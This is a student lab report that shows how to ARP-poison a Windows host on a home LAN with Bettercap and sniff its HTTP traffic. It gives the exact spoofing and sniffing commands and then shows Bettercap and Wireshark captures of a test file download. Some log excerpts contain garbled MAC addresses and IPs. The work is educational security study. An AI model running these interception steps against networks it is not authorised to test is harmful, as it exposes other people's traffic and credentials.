

# ARP Poisoning

Name:- **Kaustubh Rananaware**

Project:- Write a report - download any file in windows and check whether you are able to see that file in Wireshark - through ARP Poisoning.

ARP (Address Resolution Protocol) poisoning is a type of Man-in-the-Middle(MITM) attack where an attacker sends fake ARP messages to a Local Network. The purpose is to link the attacker's MAC address with the IP address of a legitimate device, typically the gateway or another client, thus allowing the attacker to intercept traffic.

In this project, we perform ARP poisoning on a local network, use a Windows system to download a file, and check via Wireshark on the attacker machine whether the file content or HTTP/HTTPS packets can be observed or captured.

→ At first we should ensure that Kali and the victim are connected on the same local network to perform the poisoning and spoofing.

1. Firstly we check the IP forwarding status

```
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
```

If the return is 1 then IP Forwarding is ON else 0 then OFF.

You're using `tee` with `sudo`, so it **has permission** to write to the file.

2. Confirmation of the IP

```
cat /proc/sys/net/ipv4/ip_forward
```

if returned output is 1 then its enabled and Kali is ready to forward traffic between interfaces.

Note:- This setting is temporary as you reboot the system the default output you will get after this command will be 0.

```

File Actions Edit View Help
(kali㉿kali)-[~]
$ echo 1 > /proc/sys/net/ipv4/ip_forward
zsh: permission denied: /proc/sys/net/ipv4/ip_forward

(kali㉿kali)-[~]
$ echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
[sudo] password for kali:
1

(kali㉿kali)-[~]
$ cat /proc/sys/net/ipv4/ip_forward
1

(kali㉿kali)-[~]
$

```

3. Lets assume Kali is the attacker and Windows host machine is acting like victim server.

Track down the Victim and gateway Ip's.

IPv4 Address.....: 192.168.xx.xxx

Default Gateway.....: 192.168.xx.x

And see your interface whethers it's eth0,wlan0,enp0s3...

#### 4. Ettercap/Bettercap

You can open either Ettercap GUI or CLI which is used for network sniffer and MITM attack tool which mainly works on LAN enviornments but its less effective against HTTPS traffic.

On the other hand we can use Bettercap (CLI) is modern ,powerful MITM attack tool and is much more stealthy and actively managed than Ettercap.

We will be using Bettercap.

→ `sudo bettercap -iface eth0`

To start the Bettercap with the applicable interface.

Bettercap is launched with root privileges and instructed to use a specific interface. This interface is how the tool connects to and interacts with the network. Without correct interface selection, attacks won't work.

## 5. Scanning

→ `net.probe on`

`net.recon on`

To discover the live host and map the local network we use built-in scanning functions like `net.probe` and `net.recon`.

### ◆ `net.recon on`

This module was enabled to **passively monitor** network traffic. It listened for broadcast packets like ARP, DHCP, and mDNS to identify active devices without sending any packets. This ensured stealthiness and avoided detection by intrusion detection systems (IDS).

### ◆ `net.probe on`

Since passive scanning can miss silent devices, I also enabled the `net.probe` module. This actively sent **ARP and ICMP probes** across the subnet prompting all devices to respond. As a result, even idle hosts responded, providing complete network visibility.

## 6. Displaying Discovered Hosts

→ `net.show`

This command is used to display the real-time table of all discovered devices over the local network. The table includes:-

- i] **IP Address** – The internal IP address of the device on the subnet.
- ii] **MAC Address** – The unique hardware address of the network interface.
- iii] **Vendor** – (May be blank) Based on MAC address prefix, attempts to detect device manufacturer.
- iv] **Gateway** – Shows whether the device is acting as the default gateway (May be blank).
- v] **Interface** – The network interface used.
- vi] **Name** – Detected hostname (if available).

```

$ sudo bettercap -iface eth0
sudo] password for kali:
bettercap v2.33.0 (built for linux amd64 with go1.22.6) [type 'help' for a list of commands]

192.168.31.0/24 > 192.168.31.95 » [18:28:12] [sys.log] [inf] gateway monitor started ...
192.168.31.0/24 > 192.168.31.95 » net.probe on
[18:28:21] [sys.log] [inf] net.probe starting net.recon as a requirement for net.probe
192.168.31.0/24 > 192.168.31.95 » [18:28:21] [sys.log] [inf] net.probe probing 256 addresses on 192.168.31.0/24
192.168.31.0/24 > 192.168.31.95 » [18:28:21] [endpoint.new] endpoint 192.168.31.59 detected as 50:0f:f5:be:9a:50 (Tenda Technology Co.,Ltd.Dongguan
192.168.31.0/24 > 192.168.31.95 » [18:28:21] [endpoint.new] endpoint 192.168.31.206 detected as ca:0e:bb:57:5d:61.
192.168.31.0/24 > 192.168.31.95 » [18:28:21] [endpoint.new] endpoint 192.168.31. detected as aa:77:e7:56:11:a7.
192.168.31.0/24 > 192.168.31.95 » [18:28:21] [endpoint.new] endpoint 192.168.31. detected as 42:00:73:42:3f:9c. (Intel Corporate).
192.168.31.0/24 > 192.168.31.95 » net.recon on
192.168.31.0/24 > 192.168.31.95 » [18:28:25] [sys.log] [err] module net.recon is already running
192.168.31.0/24 > 192.168.31.95 » set arp.spoof.targets 192.168.31.183
192.168.31.0/24 > 192.168.31.95 » arp.spoof on
192.168.31.0/24 > 192.168.31.95 » [18:29:44] [sys.log] [inf] arp.spoof arp spoofer started, probing 1 targets.
192.168.31.0/24 > 192.168.31.95 » net.show

```

IP	MAC	Name	Vendor	Sent	Recv	Seen
192.168.31.95	08:00:27:5c:b1:e2	eth0	PCS Systemtechnik GmbH	0 B	0 B	18:28:12
192.168.31.1	50:64:2b:48:04:fe	gateway	XIAOMI Electronics,CO.,LTD	85 kB	38 kB	18:28:12
192.168.31.59	50:0f:f5:be:9a:50		Tenda Technology Co.,Ltd.Dongguan branch	0 B	1.2 kB	18:28:21
192.168.31.206	ca:0e:bb:57:5d:61		Intel Corporate	52 kB	2.1 kB	18:29:56
192.168.31.191	42:00:73:42:3f:9c			2.7 kB	1.1 kB	18:29:51
192.168.31.183	aa:77:e7:56:11:a7	NISH-2		4.1 kB	5.9 kB	18:29:57
192.168.31.206	ca:0e:bb:57:5d:61			1.3 kB	1.1 kB	18:29:51

```

169 kB / 634 kB / 10341 pkts

```

## 7. Enable ARP Spoofing

→ set arp.spoof.targets <victim\_ip>  
arp.spoof on

This attack sends fake ARP replies to the victim, making them think the attacker's MAC address is the gateway. It enables **MITM** (Man-In-The-Middle) positioning on the network.

```

192.168.31.0/24 > 192.168.31.95 » set arp.spoof.targets 192.168.31.183
192.168.31.0/24 > 192.168.31.95 » arp.spoof.on
192.168.31.0/24 > 192.168.31.95 » [18:30:38] [sys.log] [err] unknown or invalid syntax "arp.spoof.on", type help for the help menu.
192.168.31.0/24 > 192.168.31.95 » arp.spoof on
192.168.31.0/24 > 192.168.31.95 » [18:30:43] [sys.log] [err] module arp.spoof is already running
192.168.31.0/24 > 192.168.31.95 » [18:30:47] [sys.log] [err] error getting ipv4 gateway: Could not find mac for 192.168.31.1
192.168.31.0/24 > 192.168.31.95 » set [18:30:49] [endpoint.lost] endpoint 192.168.31.206 ca:0e:bb:57:5d:61 lost.
192.168.31.0/24 > 192.168.31.95 » set [18:30:50] [endpoint.new] endpoint 192.168.31.206 detected as ca:0e:bb:57:5d:61.
192.168.31.0/24 > 192.168.31.95 » set [18:30:52] [gateway.change] IPv4 gateway changed: '' () → '192.168.31.1' (50:64:2b:48:04:fe)

```

## 8. Start Network Sniffing

→ set net.sniff.verbose true  
set net.sniff.filter tcp port 80  
net.sniff on

This command enables **detailed output** of each sniffed packet in the Bettercap terminal.

When verbose mode is enabled, Bettercap shows live logs of all captured packets, including protocol type, source IP, destination IP, and contents (e.g., GET requests, headers, credentials if available).

We Applied a **BPF (Berkeley Packet Filter)** to capture only HTTP traffic on port 80.

## Why only HTTP?

→ To focus only on HTTP (unsecured web traffic), which operates on **port 80**. Avoid unnecessary packet noise from other protocols and directly capture useful data like **usernames, passwords, form submissions, and browsing activity** on websites using HTTP.

**HTTPS (port 443)** is encrypted — Bettercap cannot decrypt that traffic without advanced attacks (like TLS stripping or MITM SSL).

Then start the sniffing to capture packets on the interface. Combined with the `verbose,filter` to begin real-time monitoring of HTTP traffic and displays it on screen for the attacker to analyze.

```

192.168.31.0/24 > 192.168.31.95 » net.sniff on
192.168.31.0/24 > 192.168.31.95 » [18:32:22] [endpoint_lost] endpoint 192.168.31.59 50:0f:f5:be:9a:50 (Tenda Technology Co.,Ltd.Dongguan branch) lost.
192.168.31.0/24 > 192.168.31.95 » [18:32:22] [sys.log] [err] error getting ipv4 gateway: Could not find mac for 192.168.31.1
192.168.31.0/24 > 192.168.31.95 » [18:32:27] [gateway_change] IPv4 gateway changed: '' () → '192.168.31.1' (50:64:2b:48:04:fe)
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.http.request] http 192.168.31.183 551 speedtest.tele2.net/css/docs.min.css
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59189 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59188 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59188 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.http.request] http 192.168.31.183 551 speedtest.tele2.net/Tele2-logo.jpg
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59189 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59188 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.http.request] http 192.168.31.183 551 speedtest.tele2.net/css/docs.min.css
192.168.31.0/24 > 192.168.31.95 » [18:32:28] [net.sniff.http.request] http 192.168.31.183 551 speedtest.tele2.net/Tele2-logo.jpg
192.168.31.0/24 > 192.168.31.95 » [18:32:29] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:29] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:29] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:29] [net.sniff.tcp] tcp 192.168.31.183:59191 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:29] [net.sniff.http.request] http 192.168.31.183 551 speedtest.tele2.net/js/bootstrap.min.js

```

## 9. Download a file

To see the output of the file we should perform the HTTP download on the victim machine.

Lets say we downloaded the 1MB zip file from [Speed Test](#).

## 10. Output



```

192.168.31.0/24 > 192.168.31.95 » [18:32:30] [net.sniff.tcp] tcp 192.168.31.183:59185 > 90.130.70.73:http 32 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:30] [endpoint.new] endpoint 192.168.31.59 detected as 50:0f:f5:be:9a:50 (Tenda Technology Co.,Ltd.Dongguan branch).
192.168.31.0/24 > 192.168.31.95 » [18:32:33] [net.sniff.http.request] http 192.168.31.183 651 speedtest_tel2.net/1MB.zip
192.168.31.0/24 > 192.168.31.95 » [18:32:33] [net.sniff.http.request] http 192.168.31.183 651 speedtest_tel2.net/1MB.zip
192.168.31.0/24 > 192.168.31.95 » [18:32:33] [net.sniff.http.request] http 192.168.31.183 651 speedtest_tel2.net/1MB.zip
192.168.31.0/24 > 192.168.31.95 » [18:32:33] [net.sniff.tcp] tcp 192.168.31.183:59191 > 90.130.70.73:tcp 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:33] [net.sniff.tcp] tcp 192.168.31.183:59191 > 90.130.70.73:http 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:33] [net.sniff.tcp] tcp 192.168.31.183:59191 > 90.130.70.73:tcp 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:33] [net.sniff.tcp] tcp 192.168.31.183:59193 > 90.130.70.73:http 32 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:33] [net.sniff.tcp] tcp 192.168.31.183:59193 > 90.130.70.73:http 32 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:33] [net.sniff.tcp] tcp 192.168.31.183:59193 > 90.130.70.73:http 32 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:34] [net.sniff.tcp] tcp 192.168.31.183:59194 > 90.130.70.73:tcp 32 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:34] [net.sniff.http.request] http 192.168.31.183 651 speedtest_tel2.net/1MB.zip
192.168.31.0/24 > 192.168.31.95 » [18:32:34] [net.sniff.tcp] tcp 192.168.31.183:59194 > 90.130.70.73:http 32 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:34] [net.sniff.tcp] tcp 192.168.31.183:59193 > 90.130.70.73:tcp 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:34] [net.sniff.http.request] http 192.168.31.183 651 speedtest_tel2.net/1MB.zip
192.168.31.0/24 > 192.168.31.95 » [18:32:34] [net.sniff.tcp] tcp 192.168.31.183:59193 > 90.130.70.73:tcp 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:34] [net.sniff.tcp] tcp 192.168.31.183:59193 > 90.130.70.73:tcp 20 bytes
192.168.31.0/24 > 192.168.31.95 » [18:32:34] [net.sniff.http.request] http 192.168.31.183 651 speedtest_tel2.net/1MB.zip

```

We can clearly see that when a victim downloads a file, the following signs appear:

- An HTTP GET request for a file (like `.jpg`, `.pdf`, `.zip`).
- The response is shown as multiple `TCP` packets returning from the server to the victim.
- If `verbose` is `true`, you can also see headers like `Content-Type`, `Content-Length`, etc., indicating a file is being transferred.

## 11. Analyze in Wireshark

If you want to **filter packets only from/to your victim**, you can use the display filter:

→ ip.addr == <victim-ip>

This shows all packets sent to or from the victim's ip.

```
ipaddr=192.168.31.183
```

```
No.    Time                               Source                Destination          Protocol Length Info
059693 377.566196180 192.168.31.183     23.212.0.50         TLSv1.2             134 Change Cipher Spec, Application Data
059694 377.566196180 192.168.31.183     23.212.0.50         TLSv1.2             79 Application Data
059695 377.566296118 192.168.31.183     23.212.0.50         TCP                 134 [TCP Retransmission] 59102 -> 443 [PSH, ACK] Seq=734 Ack=256 Win=261888 Len=0
059696 377.566506508 192.168.31.183     23.212.0.50         TCP                 376 [TCP Retransmission] 59102 -> 443 [PSH, ACK] Seq=814 Ack=256 Win=261888 Len=322
059697 377.566506508 192.168.31.183     23.212.0.50         TCP                 10 [TCP Retransmission] 59102 -> 443 [PSH, ACK] Seq=814 Ack=256 Win=261888 Len=0
059698 377.566529629 192.168.31.183     23.212.0.50         TCP                 60 59102 -> 443 [ACK] Seq=1136 Ack=2491 Win=26144 Len=0
059699 377.564299717 192.168.31.183     90.130.79.73        TCP                 60 [TCP Retransmission] 59157 -> 443 [SYN] Seq=Win=65535 Len=0 MSS=1408 WS=256 SACK_PERM
059699 377.594380266 192.168.31.183     23.212.0.50         TCP                 54 59162 -> 443 [ACK] Seq=1136 Ack=527 Win=263176 Len=0
059699 377.594380266 192.168.31.183     23.212.0.50         TCP                 54 59162 -> 443 [ACK] Seq=1136 Ack=2491 Win=26144 Len=0
059699 377.599831756 192.168.31.183     90.130.79.73        TCP                 60 [TCP Retransmission] 59157 -> 443 [SYN] Seq=Win=65535 Len=0 MSS=1408 WS=256 SACK_PERM
059699 377.611601803 192.168.31.183     23.212.0.50         TCP                 134 [TCP Retransmission] 59102 -> 443 [PSH, ACK] Seq=734 Ack=256 Win=261888 Len=0
059699 377.611601803 192.168.31.183     23.212.0.50         TCP                 376 [TCP Retransmission] 59102 -> 443 [PSH, ACK] Seq=814 Ack=256 Win=261888 Len=322
059699 377.615454541 192.168.31.183     23.212.0.50         TCP                 54 59162 -> 443 [ACK] Seq=1136 Ack=527 Win=263176 Len=0
059699 377.615784627 192.168.31.183     23.212.0.50         TCP                 54 59162 -> 443 [ACK] Seq=1136 Ack=2491 Win=26144 Len=0
059699 377.615784627 192.168.31.183     23.212.0.50         TCP                 10 [TCP Retransmission] 59157 -> 443 [SYN] Seq=Win=65535 Len=0 MSS=1408 WS=256 SACK_PERM
06307 383.102275789 192.168.31.183     192.168.31.1       DNS                  79 Standard query 0x5935 A speedtest.tel2.net
06308 383.102276601 192.168.31.183     192.168.31.1       DNS                  79 Standard query 0x6204 HTTPS speedtest.tel2.net
06309 383.102389957 192.168.31.183     192.168.31.1       DNS                  79 Standard query 0x5935 A speedtest.tel2.net
06310 383.102578995 192.168.31.183     192.168.31.1       DNS                  79 Standard query 0x6204 HTTPS speedtest.tel2.net
06311 383.104065592 192.168.31.183     90.130.79.73        HTTP                 53 GET /img_ip_vib HTTP/1.1
06312 383.104686246 192.168.31.183     90.130.79.73        TCP                 533 [TCP Retransmission] 59150 -> 80 [PSH, ACK] Seq=1092 Ack=20221 Win=253 Len=478

+ Frame 6311: 533 bytes on wire (4264 bits), 533 bytes captured (4264 bits) on interface eth0, id 0
Section number: 1
Interface id: 0 (eth0)
Encapsulation type: Ethernet (1)
Arrival time: Jul 26, 2025 18:20:10.919193045 IST
UIC Arrival Time: Jul 26, 2025 12:58:01.919193045 UTC
Epoch Arrival Time: 1253834210.919193045 s
[Time shift for this packet: 0.000000000 seconds]
[Time delta from previous captured frame: 0.002077557 seconds]
[Time delta from previous displayed frame: 0.002077557 seconds]
[Time since reference or first frame: 383.104065592 seconds]
Frame Number: 6311
Frame Length: 533 bytes (4264 bits)
Capture Length: 533 bytes (4264 bits)
[Frame is marked: False]
[Frame is ignored: False]
[Protocols in frame: ethernetII:tcp:http]
[Coloring Rule Name: HTTP]
[Coloring Rule String: http | tcp.port == 80 || http2]
Ethernet II, Src: Intel7447:6A:80:3B, Dst: PCSystemtec_Scblb1e2 (08:90:27:75:5C:b1e2)
Destination: PCSystemtec_Scblb1e2 (08:90:27:75:5C:b1e2)
Source: Intel7447:6A:80:3B (74:47:6A:80:3B:F1:A7:D4)
Type: IPv4 (0x0008)
IP, Src: PhoenixTech_Abdoys (193.50.137.27), Dst: 193.50.137.27 (203.26.62.21)
```

if we like specifically filter the http traffic we can do using:-

→ http.request

No.	Time	Source	Destination	Protocol	Length	Info
63225	357.112274643	192.168.31.183	239.255.255.250	SSDP	217	M-SEARCH * HTTP/1.1
64147	365.333322329	192.168.31.183	90.130.70.73	HTTP	488	GET / HTTP/1.1
64152	365.388892678	192.168.31.95	239.255.255.250	SSDP	134	M-SEARCH * HTTP/1.1
64239	366.178942823	192.168.31.183	90.130.70.73	HTTP	383	GET /js/bootstrap.min.js HTTP/1.1
64348	366.564391232	192.168.31.183	90.130.70.73	HTTP	395	GET /css/docs.min.css HTTP/1.1
64349	366.564392287	192.168.31.183	90.130.70.73	HTTP	439	GET /Tele2-logo.jpg HTTP/1.1
64475	366.959226479	192.168.31.183	90.130.70.73	HTTP	378	GET /js/docs.min.js HTTP/1.1
64746	367.959602911	192.168.31.183	90.130.70.73	HTTP	436	GET /favicon.ico HTTP/1.1
65378	374.291540052	192.168.31.95	239.255.255.250	SSDP	134	M-SEARCH * HTTP/1.1
66255	382.717166299	192.168.31.95	239.255.255.250	SSDP	134	M-SEARCH * HTTP/1.1
66311	383.104656552	192.168.31.183	90.130.70.73	HTTP	533	GET /1MB.zip HTTP/1.1
66436	383.850113628	192.168.31.183	90.130.70.73	HTTP	333	GET /1MB.zip HTTP/1.1
67338	391.301202719	192.168.31.95	239.255.255.250	SSDP	134	M-SEARCH * HTTP/1.1
68756	399.662556697	192.168.31.95	239.255.255.250	SSDP	134	M-SEARCH * HTTP/1.1
70161	408.750195884	192.168.31.95	239.255.255.250	SSDP	134	M-SEARCH * HTTP/1.1
73196	417.625441667	192.168.31.95	239.255.255.250	SSDP	134	M-SEARCH * HTTP/1.1
74456	426.743129708	192.168.31.95	239.255.255.250	SSDP	134	M-SEARCH * HTTP/1.1
75844	435.914754693	192.168.31.95	239.255.255.250	SSDP	134	M-SEARCH * HTTP/1.1
76820	444.444599071	192.168.31.95	239.255.255.250	SSDP	134	M-SEARCH * HTTP/1.1
77900	452.779573293	192.168.31.95	239.255.255.250	SSDP	134	M-SEARCH * HTTP/1.1
79005	461.489279691	192.168.31.95	239.255.255.250	SSDP	134	M-SEARCH * HTTP/1.1

We can clearly see our downloaded file of 1MB zip. If we further want to analyze the packet, we can follow the HTTP stream.

```

Wireshark - Follow HTTP Stream (tcp.stream eq 70) - eth0

GET /Tele2-logo.jpg HTTP/1.1
Host: speedtest.tele2.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://speedtest.tele2.net/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

GET /js/docs.min.js HTTP/1.1
Host: speedtest.tele2.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Referer: http://speedtest.tele2.net/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

GET /favicon.ico HTTP/1.1
Host: speedtest.tele2.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://speedtest.tele2.net/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

GET /1MB.zip HTTP/1.1
Host: speedtest.tele2.net
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://speedtest.tele2.net/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

```

### → It Extracts the Full HTTP Conversation

It reconstructs the full HTTP request and response between two IPs — including:

- URLs visited
- Headers (User-Agent, Cookies, etc.)
- Any text-based content like HTML pages or downloaded file names
- File content (if it's small and not encrypted)

### → Shows Request + Response Together

This helps confirm if a file (like `.zip` or `.pdf`) was requested and served.

**Conclusion:-**

This project effectively demonstrated a real-world application of ARP poisoning using Bettercap, combined with network traffic analysis via Wireshark . By identifying the victim device on the network, launching ARP spoofing, and enabling packet sniffing, we were able to capture and analyze unencrypted HTTP traffic, including file downloads. This practical experience highlights how attackers can silently intercept sensitive data over insecure networks, reinforcing the importance of secure browsing (HTTPS), encrypted communications, and proactive network security measures. The experiment provided a strong foundation in understanding man-in-the-middle attacks and their implications in cybersecurity.